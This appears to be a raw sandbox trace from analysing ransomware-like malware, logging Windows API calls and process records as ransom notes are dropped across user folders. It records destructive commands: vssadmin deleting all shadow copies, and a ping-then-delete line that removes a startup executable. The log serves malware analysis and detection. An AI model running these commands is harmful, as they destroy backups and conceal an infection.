[0132.595] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0132.595] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0132.595] CloseHandle (hObject=0x110) returned 1
[0132.595] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0132.595] GetProcessHeap () returned 0x810000
[0132.595] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0132.595] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0
[0132.595] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Videos\\Instructions with your files.txt") returned 59
[0132.595] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Videos\\Instructions with your files.txt" (normalized: "c:\\users\\public\\videos\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0132.596] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0132.596] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0132.596] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0132.596] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0132.597] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0132.597] CloseHandle (hObject=0x10c) returned 1
[0132.597] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0132.597] GetProcessHeap () returned 0x810000
[0132.597] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0132.597] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0
[0132.597] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Public\\Instructions with your files.txt") returned 52
[0132.597] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Public\\Instructions with your files.txt" (normalized: "c:\\users\\public\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0132.597] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0132.598] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0132.598] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0132.598] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0132.598] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0132.598] CloseHandle (hObject=0x108) returned 1
[0132.599] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0132.599] GetProcessHeap () returned 0x810000
[0132.599] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0132.599] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0
[0132.599] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\Instructions with your files.txt") returned 45
[0132.599] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Instructions with your files.txt" (normalized: "c:\\users\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
[0132.599] WriteFile (in: hFile=0x104, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf644*=0x54, lpOverlapped=0x0) returned 1
[0132.600] WriteFile (in: hFile=0x104, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf644*=0x18, lpOverlapped=0x0) returned 1
[0132.600] WriteFile (in: hFile=0x104, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf644*=0xc, lpOverlapped=0x0) returned 1
[0132.600] WriteFile (in: hFile=0x104, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf644*=0x16, lpOverlapped=0x0) returned 1
[0132.600] WriteFile (in: hFile=0x104, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf644*=0x23, lpOverlapped=0x0) returned 1
[0132.600] CloseHandle (hObject=0x104) returned 1
[0132.600] FindClose (in: hFindFile=0x876bf8 | out: hFindFile=0x876bf8) returned 1
[0132.600] GetProcessHeap () returned 0x810000
[0132.600] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x877be0 | out: hHeap=0x810000) returned 1
[0132.600] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
[0132.600] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0
[0132.600] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Instructions with your files.txt") returned 39
[0132.600] CreateFileW (lpFileName="\\\\?\\C:\\Instructions with your files.txt" (normalized: "c:\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
[0132.601] WriteFile (in: hFile=0x100, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf8d4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf8d4*=0x54, lpOverlapped=0x0) returned 1
[0132.602] WriteFile (in: hFile=0x100, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf8d4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf8d4*=0x18, lpOverlapped=0x0) returned 1
[0132.602] WriteFile (in: hFile=0x100, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf8d4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf8d4*=0xc, lpOverlapped=0x0) returned 1
[0132.602] WriteFile (in: hFile=0x100, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf8d4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf8d4*=0x16, lpOverlapped=0x0) returned 1
[0132.602] WriteFile (in: hFile=0x100, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf8d4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf8d4*=0x23, lpOverlapped=0x0) returned 1
[0132.602] CloseHandle (hObject=0x100) returned 1
[0132.602] FindClose (in: hFindFile=0x82f200 | out: hFindFile=0x82f200) returned 1
[0132.602] GetProcessHeap () returned 0x810000
[0132.602] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x833ba8 | out: hHeap=0x810000) returned 1
Thread:
id = 75
os_tid = 0x5e8
Thread:
id = 76
os_tid = 0x64c
Thread:
id = 77
os_tid = 0x62c
Thread:
id = 78
os_tid = 0x528
Thread:
id = 79
os_tid = 0x52c
Thread:
id = 80
os_tid = 0x4d0
Thread:
id = 81
os_tid = 0x4c4
Thread:
id = 82
os_tid = 0x798
Thread:
id = 99
os_tid = 0x6ac
Thread:
id = 100
os_tid = 0x790
Process:
id = "9"
image_name = "vssadmin.exe"
filename = "c:\\windows\\system32\\vssadmin.exe"
page_root = "0x66d8a000"
os_pid = "0x688"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "8"
os_parent_pid = "0x6b0"
cmd_line = " delete shadows /all /quiet"
cur_dir = "C:\\Windows\\SysWOW64\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e21c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 54
os_tid = 0x68c
Thread:
id = 57
os_tid = 0x634
Thread:
id = 58
os_tid = 0x720
Thread:
id = 59
os_tid = 0x5c4
Thread:
id = 60
os_tid = 0x5d0
Process:
id = "10"
image_name = "vssvc.exe"
filename = "c:\\windows\\system32\\vssvc.exe"
page_root = "0x18ba5000"
os_pid = "0x72c"
os_integrity_level = "0x4000"
os_privileges = "0xe60b7e890"
monitor_reason = "rpc_server"
parent_id = "9"
os_parent_pid = "0x1d0"
cmd_line = "C:\\Windows\\system32\\vssvc.exe"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\SYSTEM"
bitness = "32"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\VSS" [0xe], "NT AUTHORITY\\Logon Session 00000000:00027bb8" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]
Thread:
id = 61
os_tid = 0x7a4
Thread:
id = 62
os_tid = 0x274
Thread:
id = 63
os_tid = 0x724
Thread:
id = 64
os_tid = 0x570
[0112.161] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfd6e0 | out: lpSystemTimeAsFileTime=0xdfd6e0*(dwLowDateTime=0xabe2a660, dwHighDateTime=0x1d5e184))
[0112.161] GetCurrentProcessId () returned 0x72c
[0112.161] GetCurrentThreadId () returned 0x570
[0112.161] GetTickCount () returned 0x1133ddb
[0112.161] QueryPerformanceCounter (in: lpPerformanceCount=0xdfd6e8 | out: lpPerformanceCount=0xdfd6e8*=8725267665) returned 1
[0112.162] malloc (_Size=0x100) returned 0x4b8e80
Thread:
id = 65
os_tid = 0x5c8
Thread:
id = 66
os_tid = 0x5a8
Thread:
id = 67
os_tid = 0x5cc
Thread:
id = 74
os_tid = 0x574
Thread:
id = 103
os_tid = 0x5c4
Thread:
id = 105
os_tid = 0x68c
Process:
id = "11"
image_name = "svchost.exe"
filename = "c:\\windows\\system32\\svchost.exe"
page_root = "0x66baa000"
os_pid = "0x7b8"
os_integrity_level = "0x4000"
os_privileges = "0x60814080"
monitor_reason = "rpc_server"
parent_id = "10"
os_parent_pid = "0x1d0"
cmd_line = "C:\\Windows\\System32\\svchost.exe -k swprv"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\SYSTEM"
bitness = "32"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\swprv" [0xe], "NT AUTHORITY\\Logon Session 00000000:00028216" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe]
Thread:
id = 68
os_tid = 0x344
Thread:
id = 69
os_tid = 0x340
Thread:
id = 70
os_tid = 0x1c4
Thread:
id = 71
os_tid = 0x440
Thread:
id = 72
os_tid = 0x7b0
Thread:
id = 73
os_tid = 0x7bc
Thread:
id = 104
os_tid = 0x5d0
Process:
id = "12"
image_name = "svchost.exe"
filename = "c:\\windows\\system32\\svchost.exe"
page_root = "0x2601d000"
os_pid = "0x3f8"
os_integrity_level = "0x4000"
os_privileges = "0x60800000"
monitor_reason = "rpc_server"
parent_id = "8"
os_parent_pid = "0x1d0"
cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService"
cur_dir = "C:\\Windows\\system32\\"
os_username = "NT AUTHORITY\\Local Service"
bitness = "32"
os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000dbb0" [0xc000000f], "LOCAL" [0x7]
Thread:
id = 83
os_tid = 0x4e4
Thread:
id = 84
os_tid = 0x4b0
Thread:
id = 85
os_tid = 0x49c
Thread:
id = 86
os_tid = 0x138
Thread:
id = 87
os_tid = 0x428
Thread:
id = 88
os_tid = 0x7ec
Thread:
id = 89
os_tid = 0x7e4
Thread:
id = 90
os_tid = 0x7b4
Thread:
id = 91
os_tid = 0x79c
Thread:
id = 92
os_tid = 0x5b8
Thread:
id = 93
os_tid = 0x140
Thread:
id = 94
os_tid = 0x154
Thread:
id = 95
os_tid = 0x120
Thread:
id = 96
os_tid = 0x124
Thread:
id = 97
os_tid = 0x114
Thread:
id = 98
os_tid = 0x3fc
Thread:
id = 102
os_tid = 0x328
Thread:
id = 106
os_tid = 0x714
Process:
id = "13"
image_name = "cmd.exe"
filename = "c:\\windows\\syswow64\\cmd.exe"
page_root = "0x42179000"
os_pid = "0x324"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "child_process"
parent_id = "8"
os_parent_pid = "0x6b0"
cmd_line = "\"C:\\Windows\\system32\\cmd.exe\" ping 127.0.0.1 && del \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\twU5X5u5JjqyRmBjT4Z9MFf9KNV5.exe\""
cur_dir = "C:\\Windows\\SysWOW64\\"
os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
bitness = "32"
os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e21c" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Thread:
id = 101
os_tid = 0x4d8
[0153.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x22f8fc | out: lpSystemTimeAsFileTime=0x22f8fc*(dwLowDateTime=0xc2f91c80, dwHighDateTime=0x1d5e184))
[0153.505] GetCurrentProcessId () returned 0x324
[0153.505] GetCurrentThreadId () returned 0x4d8
[0153.505] GetTickCount () returned 0x113d52a
[0153.505] QueryPerformanceCounter (in: lpPerformanceCount=0x22f8f4 | out: lpPerformanceCount=0x22f8f4*=12859632800) returned 1
[0153.506] GetModuleHandleA (lpModuleName=0x0) returned 0x4a8f0000
[0153.506] __set_app_type (_Type=0x1)
[0153.506] __p__fmode () returned 0x764531f4
[0153.538] __p__commode () returned 0x764531fc
[0153.539] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a9121a6) returned 0x0
[0153.539] __getmainargs (in: _Argc=0x4a914238, _Argv=0x4a914240, _Env=0x4a91423c, _DoWildCard=0, _StartInfo=0x4a914140 | out: _Argc=0x4a914238, _Argv=0x4a914240, _Env=0x4a91423c) returned 0
[0153.539] GetCurrentThreadId () returned 0x4d8
[0153.539] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x4d8) returned 0x60
[0153.539] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75fe0000
[0153.539] GetProcAddress (hModule=0x75fe0000, lpProcName="SetThreadUILanguage") returned 0x7600a84f
[0153.539] SetThreadUILanguage (LangId=0x0) returned 0x409
[0153.539] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
[0153.539] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x22f88c | out: phkResult=0x22f88c*=0x0) returned 0x2
[0153.540] VirtualQuery (in: lpAddress=0x22f8c3, lpBuffer=0x22f85c, dwLength=0x1c | out: lpBuffer=0x22f85c*(BaseAddress=0x22f000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0153.540] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x22f85c, dwLength=0x1c | out: lpBuffer=0x22f85c*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c
[0153.540] VirtualQuery (in: lpAddress=0x131000, lpBuffer=0x22f85c, dwLength=0x1c | out: lpBuffer=0x22f85c*(BaseAddress=0x131000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c
[0153.540] VirtualQuery (in: lpAddress=0x133000, lpBuffer=0x22f85c, dwLength=0x1c | out: lpBuffer=0x22f85c*(BaseAddress=0x133000, AllocationBase=0x130000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c
[0153.540] VirtualQuery (in: lpAddress=0x230000, lpBuffer=0x22f85c, dwLength=0x1c | out: lpBuffer=0x22f85c*(BaseAddress=0x230000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x20000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c
[0153.540] GetConsoleOutputCP () returned 0x1b5
[0153.540] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a914260 | out: lpCPInfo=0x4a914260) returned 1
[0153.540] SetConsoleCtrlHandler (HandlerRoutine=0x4a90e72a, Add=1) returned 1
[0153.540] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.540] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
[0153.540] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.540] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a9141ac | out: lpMode=0x4a9141ac) returned 1
[0153.541] _get_osfhandle (_FileHandle=1) returned 0x7
[0153.541] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
[0153.541] _get_osfhandle (_FileHandle=0) returned 0x3
[0153.541] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a9141b0 | out: lpMode=0x4a9141b0) returned 1
[0153.589] _get_osfhandle (_FileHandle=0) returned 0x3
[0153.589] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
[0153.590] GetEnvironmentStringsW () returned 0x3021a0*
[0153.590] GetProcessHeap () returned 0x2f0000
[0153.590] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xaca) returned 0x302c78
[0153.590] FreeEnvironmentStringsW (penv=0x3021a0) returned 1
[0153.590] GetProcessHeap () returned 0x2f0000
[0153.590] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4) returned 0x301880
[0153.590] GetEnvironmentStringsW () returned 0x3021a0*
[0153.590] GetProcessHeap () returned 0x2f0000
[0153.590] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xaca) returned 0x303750
[0153.590] FreeEnvironmentStringsW (penv=0x3021a0) returned 1
[0153.590] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22e7fc | out: phkResult=0x22e7fc*=0x68) returned 0x0
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x0, lpData=0x22e808*=0x0, lpcbData=0x22e800*=0x1000) returned 0x2
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x4, lpData=0x22e808*=0x1, lpcbData=0x22e800*=0x4) returned 0x0
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x0, lpData=0x22e808*=0x1, lpcbData=0x22e800*=0x1000) returned 0x2
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x4, lpData=0x22e808*=0x0, lpcbData=0x22e800*=0x4) returned 0x0
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x4, lpData=0x22e808*=0x40, lpcbData=0x22e800*=0x4) returned 0x0
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x4, lpData=0x22e808*=0x40, lpcbData=0x22e800*=0x4) returned 0x0
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x0, lpData=0x22e808*=0x40, lpcbData=0x22e800*=0x1000) returned 0x2
[0153.591] RegCloseKey (hKey=0x68) returned 0x0
[0153.591] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x22e7fc | out: phkResult=0x22e7fc*=0x68) returned 0x0
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x0, lpData=0x22e808*=0x40, lpcbData=0x22e800*=0x1000) returned 0x2
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x4, lpData=0x22e808*=0x1, lpcbData=0x22e800*=0x4) returned 0x0
[0153.591] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x22e804, lpData=0x22e808, lpcbData=0x22e800*=0x1000 | out: lpType=0x22e804*=0x0, lpData=0x22e808*=0x1, lpcbData=0x22e800*=0x1000) returned 0x2
